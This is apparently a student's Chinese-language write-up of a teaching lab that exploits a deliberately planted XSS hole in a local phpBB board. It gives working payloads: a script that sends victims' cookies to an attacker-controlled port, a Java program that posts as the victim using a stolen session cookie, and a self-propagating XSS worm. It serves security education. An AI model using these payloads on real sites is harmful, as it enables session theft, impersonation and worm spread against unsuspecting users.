1、概述
跨站脚本(XSS)是 web应用程序中常见的一种漏洞。该漏洞使得攻击者有可能将恶意代码(如 JavaScript程序)注入受害者的网络浏览器。使用这种恶意代码,攻击者可以窃取受害者的凭证,如 cookie。浏览器用来保护这些凭证的访问控制策略(即同源策略)可以通过利用XSS漏洞来绕过。这种漏洞可能会导致大规模的攻击 为了演示攻击者利用XSS漏洞可以做些什么,我们使用phpBB建立了一个基于 web的留言板。我们对软件进行了修改,在该留言板中引入了XSS 漏洞;这个漏洞允许用户向公告板发布任何消息,包括JavaScript程序。学生需要利用这一漏洞,在留言板上发布一些恶意信息;看到这些恶意信息的用户将成为受害者。攻击者的目标是为受害者发布伪造的信息。
2、实验室环境
在这个实验中,我们需要三样东西:(1)Firefox网络浏览器,(2)apache网络服务器,(3)phpBB留言板网络应用程序。对于浏览器,我们需要使用Firefox 的 LiveHTTPHeaders 扩展来检查HTTP请求和响应。提供给您的预构建的Ubuntu虚拟机镜像已经安装了带有所需扩展的Firefox浏览器。 启动Apache服务器。apache web服务器也包含在预构建的Ubuntu镜像中。但是,默认情况下web服务器是不启动的。您必须首先使用以下两个命令之一启动web服务器:
% sudo apache2ctl start
or
% sudo service apache2 start
phpBB web应用程序。phpBB web应用程序已经在预构建的 Ubuntu虚拟机镜像中设置好了。我们还在phpBB服务器上创建了几个用户帐户。密码信息可以从首页的帖子中获取。你可以使用以下URL访问phpBB服务器(首先需要启动apache服务器): http://www.xsslabphpbb.com 配置DNS。这个URL只能从虚拟机内部访问,因为我们修改了/etc/hosts文件,将域名(www.xsslabphpbb.com)映射到虚拟机的本地IP地址(127.0.0.1)。您可以使用/etc/hosts将任何域名映射到特定的IP地址。例如,在/etc/hosts文件中添加如下内容,将 http:/www.example.com 映射到本地IP地址。
127.0.0.1 www.example.com
因此,如果您的 web服务器和浏览器运行在两台不同的机器上,您需要相应地修改浏览器机器上的/etc/hosts文件,将 www.xsslabphpbb.com映射到 web服务器的IP地址。 配置Apache 服务器。在预构建的VM映像中,我们使用Apache服务器托管实验室中使用的所有网站。Apache 中基于名称的虚拟主机特性可以用于在同一台机器上托管多个网站(或url)。在"/etc/apache2/sites-available"目录下有一个名为default的配置文件,其中包含了必要的配置指令: 1.指令“NameVirualHost *”指示 web服务器使用机器中的所有IP地址(有些机器可能有多个IP地址)。 2.每个网站都有一个VirtualHost块,它指定网站的URL和包含网站源的文件系统中的目录。 例如,要配置一个URL为http://www.example1.com的网站,源文件位于/var/www/Example_1/目录下,以及要配置一个URL为 http://www.example2.com的网站,源文件位于/var/www/Example_2/目录下,我们使用以下代码块:
<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>
您可以通过访问上述目录中的源代码来修改 web应用程序。例如,使用上面的配置,可以通过修改目录/var/www/Example_l中的源来修改web应用程序 http://www.example1.com. 其他软件。有些实验任务需要对JavaScript有基本的了解。只要有必要,我们就提供一个JavaScript示例程序来帮助学生入门。为了完成任务3,学生可能需要一个实用程序来监视特定TCP端口上传入的请求。我们提供了一个C程序,可以将其配置为侦听特定端口并显示传入消息。C语言程序可从本实验室的网站下载。 注意对教师 本实验室可在有监督的实验室环境中进行。在这种情况下,教师可以在做实验之前向学生提供以下背景信息: 1.如何使用虚报机。Firefox web浏览器和 LiveHittpHeaders扩展。2…JavaScript和 XMLHttpRequest对象的基础知识。 3.简要概述任务。 4.如何使用监听端口的C程序。 5.如何编写一个java程序发送一个HTTP消息发布。
3、实验室的任务
3.1任务1:发布恶意消息以显示警报窗口
此任务的目标是发布包含JavaScript 的恶意消息,以显示警报窗口。JavaScript应该与消息中的用户注释一起提供。下面的JavaScript将显示一个警告窗口:
<script>alert(’XSS’);</script>
如果您将此JavaScript和您的评论一起发布在留言板中,那么任何查看此评论的用户都将看到警告窗口。
可以用JavaScript的alert语句弹出警告窗口,参数为窗口中的字符串,如下图所示 发布一个帖子:
当有用户浏览该帖子的时候,则会弹出下面的窗口:
3.2任务2:发送恶意信息显示cookie
此任务的目标是在留言板上发布包含JlavaScript 代码的恶意消息,以便每当用户查看此消息时,都会打印出用户的 cookie。例如,考虑以下包含JavaScript代码的消息:
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
当用户查看此消息发布时,他她将看到一个弹出消息框,其中显示用户的cookie。
为了显示出cookie,只需要把cookie的值传入alert中作为参数即可,如下图所示:
此时用户如果浏览这个帖子,则会弹出用户的cookie
3.3任务3:从受害者的机器上偷取cookies
在之前的任务中,恶意JavaScript代码可以打印出用户的cookie;在这个任务中,攻击者希望.JavaScript代码将cookie发送给自己。为了实现这一点,恶意JavaScript代码可以向攻击者发送一个HTTP请求,并将cookie附加到请求中。我们可以通过让恶意的JavaScript 插入一个标记,并将src设置为攻击者目标的URL来实现这一点。当JavaScript插入img标记时,浏览器尝试从提到的URL加载图像,并在这个过程中最终向攻击者的网站发送一个HTTP GET请求。下面给出的JavaScript 将 cookie 发送到攻击者机器上提到的端口5555。在特定的端口上,攻击者有一个TCP服务器,它只是打印它接收到的请求。TCP服务器程序将提供给您(可在本实验室的网站上获得)。
Hello Folks,
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’
+ escape(document.cookie) + ’ >’); </script>
This script is to test XSS. Thanks.
为了把用户的cookie送到远程攻击者的主机,需要如下构造攻击脚本语句:
<script>document.write(“<img src = http://127.0.0.1:5555?c=”+escape(document.cookie)+”>”);</script>
为了和请求报头格式一致,我们需要用escape函数对cookie中的特殊字符进行转义。 这样脚本执行结束后浏览去会向127.0.0.1的5555端口的地址请求一个名字为自己的cookie的图片。当然这个图片是不存在的,为了避免受到被攻击者的怀疑,我们可以在帖子内容中写上“picture has been deleted!”。此时浏览帖子的人看到的内容如下:
按照Makefile文件中编译:
在浏览者一无所知的情况下,他的cookie值就被发送到了攻击者的电脑上,攻击者远程监听的结果如下: GET /?c=phpbb2mysql_t%3Da%253A2%253A%257Bi%253A6%253Bi%253A1629100308%253Bi%253A11%253Bi%253A1629099910%253B%257D%3B%20phpbb2mysql_data%3Da%253A2%253A%257Bs%253A11%253A%2522autologinid%2522%253Bs%253A0%253A%2522%2522%253Bs%253A6%253A%2522userid%2522%253Bs%253A2%253A%252212%2522%253B%257D%3B%20phpbb2mysql_sid%3Df7ce2779c4f882fdab383be05e4e354f HTTP/1.1
3.4任务4:用偷来的cookie冒充受害者
在窃取受害者的 cookie 后,攻击者可以对 phpBB 网络服务器做受害者可以做的任何事情,包括以受害者的名字发布一条新消息,删除受害者的帖子,等等。在这个任务中,我们将编写一个程序,代表受害者伪造消息。 为了伪造消息发布,我们首先应该分析 phpBB 在发布消息方面是如何工作的。更具体地说,我们的目标是确定当用户发布消息时向服务器发送什么。Firefox的LiveHTTPHeaders 扩展可以帮助我们;它可以显示从浏览器发送的任何HTTP请求消息的内容。从内容中,我们可以识别消息的所有参数。图1给出了LiveHTTPHeaders的屏幕截图。LiveHTTPHeaders扩展可以从http:Mlivehtpheaders.mozdev.org/下裁,它已经安装在预构建的Ubuntu虚拟机镜像中。 一旦我们理解了用于消息发布的HTTP请求是什么样子的,我们就可以编写一个 Java程序来发送相同的 HTTP请求。phpBB服务器无法区分请求是由用户的浏览器发出的还是由攻击者的Java程序发出的。只要我们正确地设置了所有参数,服务器就会接受并处理消息发送HTTP 请求。为了简化您的任务,我们提供了一个示例java程序,其功能如下: 1.打开到 web 服务器的连接。 2.设置必要的HTTP头信息。 3.发送请求到web 服务器。 4.从web服务器获取响应。 如果您在理解上述程序时有困难,我们建议您阅读以下内容
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
String data="username=admin&seed=admin%40seed.com";
urlConn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
if (responseCode == HttpURLConnection.HTTP_OK) {
responseIn = urlConn.getInputStream();
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
如果您在理解上述程序时有困难,我们建议您阅读以下内容: JDK 6文档:http://java.sun.com/javase/6/docs/api/ Java 协议处理程序:http://java.sun.com/developer/onlineTraining/protocolhandlers/ 限制:伪造的消息应该来自同一台虚拟机,即受害者(连接到web论坛的用户)和攻击者(生成伪造消息的人)应该在间一台机器上,因为 phpBB使用IP地址和cookie进行会话管理。如果攻击者从另一台机器生成伪造的消息,伪造数据包的IP地址和受害者的IP地址将不同,因此伪造的消息将被phpBB服务器拒绝,尽管伪造的消息携带了正确的cookie信息。
为了冒充被攻击者发帖,首先向前面所述得到用户的cookie,但是这个cookie是经过转义过的,我们需要把其中的转义字符修正回来,具体要在vim中进行如下操作: 把所有的“%3D”替换为“=”号,把所有的“%25”替换为“%”号,把所有的“%3B%20”替换为“; ”(;后面有个空格)。
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D
这样我们就得到了用户的原始cookie。然后用addRequestProperty函数设置连接的cookie属性,这样服务器就会把我们当作被攻击者:
http://www.xsslabphpbb.com/posting.php
POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1
Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D
Content-Type: application/x-www-form-urlencoded
Content-Length: 276
subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit
HTTP/1.1 200 OK
Date: Mon, 16 Aug 2021 11:50:11 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3Bi%3A14%3Bi%3A1629114611%3B%7D; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3882
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
其中:
Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A6%3Bi%3A1629100308%3Bi%3A11%3Bi%3A1629099910%3Bi%3A7%3Bi%3A1629100786%3B%7D; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=f7ce2779c4f882fdab383be05e4e354f subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=editpost&sid=f7ce2779c4f882fdab383be05e4e354f&p=7&post=Submit
这样我们就得到了,发帖数据包的格式,通过修改其中的cookie字段我们就可以伪装成其他用户,修改subject和message字段,我们就可以修改任意帖子内容。综上,我们需要将Java程序中的addRequestProperty和data修改为如下:
HTTPSimpleForge.Java源代码:
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
URL url = new URL ("http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
urlConn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
urlConn.setRequestProperty("Accept-Language","en-us,en;q=0.5");
urlConn.setRequestProperty("Accept-Encoding","gzip,deflate");
urlConn.setRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");
urlConn.setRequestProperty("Connection","keep-alive");
urlConn.setRequestProperty("Keep-Alive","115");
urlConn.setRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
urlConn.setRequestProperty("Cookie","Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D");
urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
urlConn.setRequestProperty("Content-Length","245");
String data="subject=Iam not 123&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=but I can post as 123&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit";
urlConn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
if (responseCode == HttpURLConnection.HTTP_OK) {
responseIn = urlConn.getInputStream();
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
编译运行:
再去看论坛文章列表,我们发现确实多了123发的一篇帖子:
3.5任务5:编写跨站蠕虫
在前面的任务中,我们学习了如何从受害者那里窃取 cookie,然后使用窃取的 cookie伪造HTTP请求。在这个任务中,我们需要编写一个恶意JavaScript来直接从受害者的浏览器伪造一个 HTTP请求。这种攻击不需要攻击者的干预。能够做到这一点的JavaScript被称为跨站点脚本蠕虫。对于这个web应用程序,蠕虫程序应该做以下工作: 1.使用JavaScript检索用户的会话ID。 2.伪造HTTP发布请求,使用会话ID发布消息。 HTTP请求有两种常见类型,一种是HTTP GET请求,另一种是HTTP POST请求。这两种HTTP请求的不同之处在于它们如何将请求的内容发送给服务器。在phpBB中,发送消息的请求使用HTTP POST请求。我们可以使用XMLHttp Request对象为 web应用程序发送HTTP GET 和POST请求。XMLHttp Request只能将HTTP请求发送回服务器,而不是其他计算机,因为XMLHtpRequest强烈执行同源策略。这对我们来说不是问题,因为我们确实想使用XMLHttp Request向 phpBB服务器发送一个伪造的HTTP POST请求。要学习如何使用XMLHttp Request,可以学习这些引用的文档[1,2]。如果您不熟悉JavaScript编程,我们建议您阅读[3],学习一些基本的JavaScript函致。你将不得不使用其中的一些函数: 您可能还需要调试JavaScript代码。Firebug是一个Firefox扩展,可以帮助您调试JavaScript代码。它可以指出包含错误的精确位置。FireBug可以从 https://addons.mozilla.org/en-US/firefox/addon/1843下载。它已经安装在我们预构建的Ubuntu虚拟机镜像中。 代码框架。我们提供了您需要编写的JavaScript代码的框架。你需要填写所有必要的细节。在发布到phpBB留言板的消息中包含最终的JavaScript代码时,需要制除所有注释、额外的空格和换行符。
<script>
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var content="subject=" + "XSSWorm" + ...;
Ajax.send(content);
</script>
要使我们的蠕虫工作,我们应该注意phpBB是如何使用会话id信息的。从LiveHTTPHeaders 扩展的输出中,我们可以注意到sid在消息发布请求中出现了两次。一个是在 cookie部分(称为phpbb2mysql_sid)。因此,XMLHttpRequest发出的HTTP POST请求也必须包含cookie。我们已经在上面的骨架代码中为您做了。 如果我们仔细查看LiveHTTPHeaders的输出,我们可以看到相同的 session id也出现在以“subject=”开头的行中。phpBB服务器使用这里的会话id来防止另一种类型的攻击(即跨站请求伪造攻击)。在伪造的消息发布请求中,我们还需要添加这个会话id信息;该会话id的值与phpbb2mysql_sid中的值完全相同。如果请求中没有此会话id,则该请求将被服务器丢弃。 为了从cookie中检索 sid信息,您可能需要学习JavaScript中的一些字符串操作。你应该学习这个引用的教程[4]。
为了能够让这个蠕虫可以以浏览者的身份发帖,我们首先要用JavaScript得到用户的cookie,这个在前面已经做过了;然后我们需要从此cookie中提取出section ID,这个可以用JavaScript提供的一些字符串操作函数来完成;最后要利用这个section ID构造一个发帖请求,发帖请求的格式可以通过LiveHTTPHeader来侦听一个真正的发帖请求来得到。 攻击代码:
<script>
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var cookie=document.cookie;
var id=cookie.match(/phpbb2mysql_sid=(.*)/);
var content="subject=Task%205" + "&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&" + "message=Task%205:" + "&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=" + RegExp.$1.slice(0,32) + "&f=1&post=Submit";
Ajax.send(content);
</script>
就在hyh浏览这个帖子的同时,我们的蠕虫已经以hyh的身份发了帖子:
3.6任务6:编写自传播跨站蠕虫
在前一个任务中构建的蠕虫只代表受害者伪造一条消息;它不会自我传播。因此,从技术上讲,它不是蠕虫。为了能够自我传播,伪造的消息还应该包括一个蠕虫病毒,所以每当有人点击伪造的消息,一个新的携带相同的蠕虫病毒的伪造消息将被创建。这样,蠕虫就可以传播了。点击伪造信息的人越多,蠕虫病毒传播的速度就越快。 在此任务中,您需要展开在task 5中所做的工作,并将蠕虫病毒的副本添加到伪造消息的正文中。以下指导方针将帮助您完成这项任务: 1.发布伪造信息的JavaScript 程序已经是网页的一部分。因此,蛎虫代码可以使用DOM api从网页中检索自己的副本。下面给出一个使用DOM api的例子。这段代码获得了自己的副本,并将其显示在警报窗口中:
<script id=worm>
var strCode = document.getElementById("worm");
alert(strCode.innerHTML);
</script>
2.URL编码:1nternet上所有通过HTTP协议传输的消息都使用URL编码,即在URL编码方案下,将所有非ascii字符(如空格)转换为特殊代码。在蠕虫代码中,在 phpBB论坛中发布的消息应该使用URL编码。escape函数可用于URL编码字符串。下面给出了一个使用encode函数的示例。
<script>
var strSample = "Hello World";
var urlEncSample = escape(strSample);
alert(urlEncSample);
</script>
3.在URL编码方案下,“+”符号用于表示空格。在JavaScript程序中,“+”用于算术操作和字符串连接操作。为了避免这种模棱两可, 可以使用concat函数进行字符串连接,避免使用加法。的蠕虫在代码练习中,你不需要使用加法。如果你确实需要加一个数字(如a+5),你可以可以使用减法(如a-(-5))。
攻击代码:
<script id=worm>var scriptValue = document.getElementById("worm");scriptValue = scriptValue.childNodes[0].nodeValue; scriptValue =escape(scriptValue); var Ajax = null; Ajax = new XMLHttpRequest(); Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true); Ajax.setRequestHeader("Host","www.xsslabphpbb.com"); Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var cookie = document.cookie; var id = cookie.match(/phpbb2mysql_sid=(.*)/); var content = "subject=This is a self-popagation worm"; content = content.concat("&addbbcode18=%23444444&addbbcode20=0&helpbox=Font color%3A %5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D Tip%3A you can also use color%3D%23FF0000&message=%3Cscript id=worm>"); content = content.concat(scriptValue); content = content.concat("%3C/script>&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid="); content = content.concat(RegExp.$1.slice(0,32)); content = content.concat("&f=1&post=Submit"); Ajax.send(content); </script>
对于上面的代码,需要注意以下几点: 1.代码中没有回车换行,全部在一行里面。 2.要使用contact函数来代替+完成字符串的拼接工作。 3.要用escape函数对特殊符号进行过滤。 4.Document.getElementByID(“worm”).childNodes[0].nodeValue所得到的就是id为worm的script中的所有内容。 123发布包含蠕虫的帖子后,hyh浏览了123的帖子,abc浏览hyh的帖子,攻击效果如下:
4、提交
你需要提交一份详细的实验报告,描述你做了什么,观察到了什么。请使用LiveHTTPHeaders,Wireshark和/或截图提供详细信息。您还需要对有趣或令人惊讶的观察结果进行解释。 参考文献
[1]AJAX for n00bs。可于以下网址查阅:
http://www.hunlock.com/blogs/AJAX_for_n00bs。
[2] AJAX POST-It Notes。可于以下网址查阅:
http://www.hunlock.com/blogs/AJAX_POST-It_Notes.
[3]Essential Javascript – A Javascript Tutorial。可于以下网址查间:
http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial。
[4]The Complete Javascript Strings Reference。可于以下网址查阅:
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference。
|